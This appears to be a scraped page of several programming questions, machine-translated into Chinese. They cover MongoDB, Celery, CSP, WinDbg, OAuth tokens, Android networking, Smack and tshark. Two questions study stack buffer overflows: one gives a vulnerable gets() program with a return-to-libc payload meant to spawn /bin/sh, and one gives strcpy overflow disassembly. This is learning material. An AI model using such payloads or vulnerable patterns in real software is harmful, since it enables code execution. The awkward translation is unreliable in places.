我正在尝试保存包含特殊字符''的字典.在MongoDB的关键部分.错误如下所示,其中明确指出密钥不得包含特殊字符'.'.
>>> import pymongo
>>> client = pymongo.MongoClient('localhost')
>>> db = client['malware']
>>> test = db['test']
>>> d = {'.aaa' : '.bbb'}
>>> test.insert(d)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib64/python2.7/site-packages/pymongo/collection.py", line 362, in insert
self.database.connection)
bson.errors.InvalidDocument: key '.aaa' must not contain '.'
Run Code Online (Sandbox Code Playgroud)
但我目前的信息包含'.' 在数据的关键部分,我需要存储到MongoDB.目前我只是删除'.' 从字符串中,另一个选项是用'_'或其他特殊字符替换它.
然而,所有这些都会导致信息丢失,因为如果我有一个密钥'.aaa'和一个密钥' aaa'并且我转换'.' 进入' '然后键完全一样,我丢失了一些信息.为什么Mongo不允许我将'.aaa'保存到数据库中?
任何想法如何处理问题?
我正在使用带有django和rabbitmq的芹菜来创建一个消息队列.我也有一个工人,它来自不同的机器.在django视图中,我正在开始这样的过程:
def processtask(request, name):
args = ["ls", "-l"]
MyTask.delay(args)
return HttpResponse("Task set to execute.")
Run Code Online (Sandbox Code Playgroud)
我的任务配置如下:
class MyTask(Task):
def run(self, args):
p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(out, err) = p.communicate()
return out
Run Code Online (Sandbox Code Playgroud)
我现在的问题是,代理(我的django项目)现在如何接收工作人员在其计算机上执行的"ls -l"命令的输出.我想最好的事情是,只要工作人员准备好从执行的命令发送输出,就可以在代理中调用函数.
我想异步接收worker的输出,然后用输出更新网页,但那是另一次.现在我只想收到工人的输出.
更新
现在我添加了一个HTTP GET请求,该请求在任务结束时触发,通知Web应用程序任务已完成 - 我也在http GET中发送task_id.http GET方法调用django视图,它创建AsyncResult并获取结果,但问题是当调用result.get()时,我收到以下错误:
/usr/lib64/python2.6/site-packages/django_celery-2.5.1-py2.6.egg/djcelery/managers.py:178: TxIsolationWarning: Polling results with transaction isolation level repeatable-read within the same transaction may give outdated results. Be sure to commit the transaction for each poll iteration.
"Polling results with transaction isolation level"
Run Code Online (Sandbox Code Playgroud)
有什么想法吗?我没有使用数据库,因为我正在使用带有AMQP的rabbitmq.
更新.
我非常想使用第三个选项,这似乎是最好的选择 - …
我在我的Wordpress网站上加载了Disquss,该网站运行在HTTPS上.问题是,虽然评论显示在网页的底部,但它们是白色的(并且由于页面的背景也是白色的,因此它们不可见).
如果我在Chrome中打开Inspector,则会在控制台选项卡上打印以下错误.
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src https://*.twitter.com:*
https://api.adsnative.com/v1/ad.json *.adsafeprotected.com *.google-analytics.com https://glitter-services.disqus.com
https://*.services.disqus.com:* disqus.com http://*.twitter.com:*
a.disquscdn.com api.taboola.com referrer.disqus.com *.scorecardresearch.com
*.moatads.com https://admin.appnext.com/offerWallApi.aspx 'unsafe-eval'
https://mobile.adnxs.com/mob *.services.disqus.com:*". Either the 'unsafe-
inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required
to enable inline execution.
Run Code Online (Sandbox Code Playgroud)
这是因为Chrome中的弹出窗口拦截器扩展,但我想通过内容安全策略启用它:http://www.html5rocks.com/en/tutorials/security/content-security-policy/.基本上,错误发生在chrome-extension://*方案中,因此我需要在Content-Security-Policy中添加适当的条目以允许chrome扩展.
我应该如何禁用Chrome扩展程序的安全策略?
我的符号文件有问题.我尝试使用符号文件路径并按如下方式设置路径:
srv*c:\symbols*http://msdl.microsoft.com/download/symbols;C:\Users\myuser\Desktop\driver2\objchk_win7_x86\i386
Run Code Online (Sandbox Code Playgroud)
但之后我将其更改为以下内容:
srv*c:\symbols*http://msdl.microsoft.com/download/symbols;C:\Users\myuser\Desktop\mydriver\objchk_win7_x86\i386
Run Code Online (Sandbox Code Playgroud)
我在路径中使用mydriver更改了driver2:这是我的驱动程序的.pdb文件所在的路径.问题是.sympath打印正确的路径,如下所示:
kd> .sympath
Symbol search path is: srv*c:\symbols*http://msdl.microsoft.com/download/symbols;C:\Users\myuser\Desktop\mydriver\objchk_win7_x86\i386
Expanded Symbol search path is: srv*c:\symbols*http://msdl.microsoft.com/download/symbols;c:\users\myuser\desktop\mydriver\objchk_win7_x86\i386
Run Code Online (Sandbox Code Playgroud)
但仍未找到驱动程序的符号.如果我运行.reload命令,我们可以看到WinDbg在driver2 /目录中寻找.pdb而不是mydriver /目录.
kd> .reload /f mydriver.sys
SYMSRV: c:\symbols\mydriver.pdb\3D655E533B0449A38D7AB0AF637CE9201\mydriver.pdb not found
SYMSRV: http://msdl.microsoft.com/download/symbols/mydriver.pdb/3D655E533B0449A38D7AB0AF637CE9201/mydriver.pdb not found
SYMSRV: c:\users\myuser\desktop\mydriver\objchk_win7_x86\i386\mydriver.pdb\3D655E533B0449A38D7AB0AF637CE9201\mydriver.pdb not found
DBGHELP: c:\users\myuser\desktop\driver2\objchk_win7_x86\i386\mydriver.pdb - file not found
*** ERROR: Module load completed but symbols could not be loaded for mydriver.sys
DBGHELP: mydriver - no symbols loaded
Run Code Online (Sandbox Code Playgroud)
我删除了所有工作区,关闭了WinDbg,重新启动了Windows,但是驱动程序2 /条目仍然存在:它必须位于默认工作区的缓存中或某处.如何删除WinDbg的整个个人设置,包括那些缓存,所以我可以重新启动WinDbg并使用driver2/path并使其使用mydriver /.
我也可以通过将mydriver /目录重命名为driver2 /来解决问题,但我不想解决这个问题.我想了解发生了什么,并尽我所能解决它.
我遇到了返回libc漏洞的问题.问题是没有任何事情发生,但没有分段错误(是的,我实际上是溢出堆栈).
这是我的计划:
int main(int argc, char **argv) {
char array[512];
gets(array);
}
Run Code Online (Sandbox Code Playgroud)
我使用的是gets而不是strcopy,因为我的地址以0x00开头而strcpy认为它是字符串的结尾,所以我不能使用它.
以下是我需要的地址:
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb) x/s 0xbffffe3f
0xbffffe3f: "/bin/sh"
Run Code Online (Sandbox Code Playgroud)
输入正确的序列时,会发生这种情况:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
Run Code Online (Sandbox Code Playgroud)
所以什么都没有.
但是如果我输入520'A'(0x41),那么EIP会溢出'A'.如果有516'A',则没有任何反应,但EIP包含系统地址,在退出地址之后,在/ bin/sh指针之后.
什么都没发生?
我正在编写一个Android应用程序,它使用AccountManager来获取令牌.从Android应用程序我可以与谷歌Picasa进行交互 - 它工作正常.
我想要实现的目的是:将一些text + authToken发送到我的第三方服务器,然后在保存文本之前检查令牌是否正确.现在的问题是:是否有可能确定特定令牌的authToken是否仅在令牌本身(可能是电子邮件地址)上是正确的.
我已经编写了服务器部分,它接受令牌(从android应用程序发送),然后向URL地址发出请求:
https://accounts.google.com/o/oauth2/tokeninfo?access_token=%token_here%
Run Code Online (Sandbox Code Playgroud)
我得到的是以下JSON:
{
"error" : "invalid_token"
}
Run Code Online (Sandbox Code Playgroud)
但是这里的链接http://oauthssodemo.appspot.com/step/4表明,如果令牌是正确的,我应该收到不同的JSON响应.你能告诉我我做错了什么:我相信检查令牌有效性的方法真的不是那么简单,但我宁愿实现整个openid或其他东西.即使是这种情况,如何检查Android应用程序发送的令牌是否正确,这样我就可以保存消息的"文本"部分.
谢谢.
我正在编写Android多人游戏,它基本上由客户端连接和交换消息的服务器组成.当玩家连接到服务器时,玩家列表将返回给他/她.然后玩家可以选择要挑战的用户 - 当然他必须从玩家列表中选择一个仅包含连接用户的玩家.
当玩家1挑战玩家2时,需要将消息从玩家1发送到服务器,服务器又必须向玩家2发送消息,通知他有关挑战的信息.然后,player2可以接受/拒绝挑战.
我可以使用以下技术来实现这一目标:
使用Java套接字编程的自定义服务器/客户端.服务器基本上接受来自客户端的连接,为每个连接的客户端生成一个新线程.这个问题是:
使用Java REST jersey在HTTP之上构建客户端 - 服务器.如果服务器可以轻松地向客户端发送通知,这将是一个完美的解决方案.这里实际上有多个设计决策:
如果两个玩家通过网络玩游戏,我会很高兴知道其他多人游戏如何处理网络通信.
我也愿意接受一个全新的建议,即如何实现我的目标.我可以编写任何代码,所以不要犹豫,让我知道一些更难以实现网络通信的方法.
我还要提一下,我很乐意在我的情况下实现一个完全特定的方法,所以它可以做任何工作,但我也在寻找更通用的方法来进行客户端和服务器之间的通信.这样我就可以编程一个接口/无论如何重用其他Android游戏,Android应用程序中的代码.
我希望我提出这个问题,我会得到一些有价值的答案.
谢谢
我花了一些时间在Android设备中添加smack.providers,我的应用程序很好地接收了它.我添加了默认的iqProviders和extensionProviders,但我还添加了我的自定义extensionProvider,它是以下内容:
<extensionProvider>
<elementName>players</elementName>
<namespace>boxer:players</namespace>
<className>company.games.boxer.PlayerListProvider</className>
</extensionProvider>
Run Code Online (Sandbox Code Playgroud)
我还要介绍一下PlayerListProvider类,它目前只是为了看它是否会被调用(它不会被调用) - 当我知道它被调用时我将完全实现它,因此至少是功能的一部分作品:
import java.util.List;
import java.util.Map;
import org.jivesoftware.smack.packet.PacketExtension;
import org.jivesoftware.smackx.provider.EmbeddedExtensionProvider;
import android.util.Log;
@SuppressWarnings("deprecation")
class PlayerListProvider extends EmbeddedExtensionProvider {
protected PacketExtension createReturnExtension(String currentElement, String currentNamespace, Map<String,String> attributeMap, List<? extends PacketExtension> content) {
Log.w("***** AAAAAAAAAAAAAAAAAAAA *******", "0");
return new XMLPlayerList();
}
}
class XMLPlayerList implements PacketExtension {
public String getElementName() {
return "aaaaa";
}
public String getNamespace() {
return "aaaaa";
}
public String toXML() {
return "aaaaa";
}
}
Run Code Online (Sandbox Code Playgroud)
当我运行客户端Android应用程序时,我收到以下消息:
<message to="eee@localhost" type="chat" id="9" from="admin@localhost"> …Run Code Online (Sandbox Code Playgroud) 我有一个运行在端口8888(不,它不是http)和TCP之上的自定义协议。我已经捕获到PCAP文件中的数据包流。问题在于,现在我不能仅显示其数据部分。
我尝试使用以下命令:
tshark -r test.pcap -R 'tcp.port==8888 && tcp.len>0' -T fields -e "tcp.data"
Run Code Online (Sandbox Code Playgroud)
但它显示一个空字符串。tcp.data字段不是保存TCP数据包数据的字段吗?
如何仅显示所需数据?
我正在研究缓冲区溢出(在IA32架构上),我想用这个示例程序澄清一个特殊的事情:
int main(int argc, char **argv) {
char array[512];
if(argc > 1)
strcpy(array, argv[1]);
}
Run Code Online (Sandbox Code Playgroud)
我在执行汇编代码时跟踪了ebp,esp寄存器更改:函数main的汇编代码转储:
0x080483c4 <+0>: push ebp
0x080483c5 <+1>: mov ebp,esp
0x080483c7 <+3>: sub esp,0x208
0x080483cd <+9>: cmp DWORD PTR [ebp+0x8],0x1
0x080483d1 <+13>: jle 0x80483ed <main+41>
0x080483d3 <+15>: mov eax,DWORD PTR [ebp+0xc]
0x080483d6 <+18>: add eax,0x4
0x080483d9 <+21>: mov eax,DWORD PTR [eax]
0x080483db <+23>: mov DWORD PTR [esp+0x4],eax
0x080483df <+27>: lea eax,[ebp-0x200]
0x080483e5 <+33>: mov DWORD PTR [esp],eax
0x080483e8 <+36>: call 0x80482f4 <strcpy@plt>
0x080483ed <+41>: leave
0x080483ee …Run Code Online (Sandbox Code Playgroud)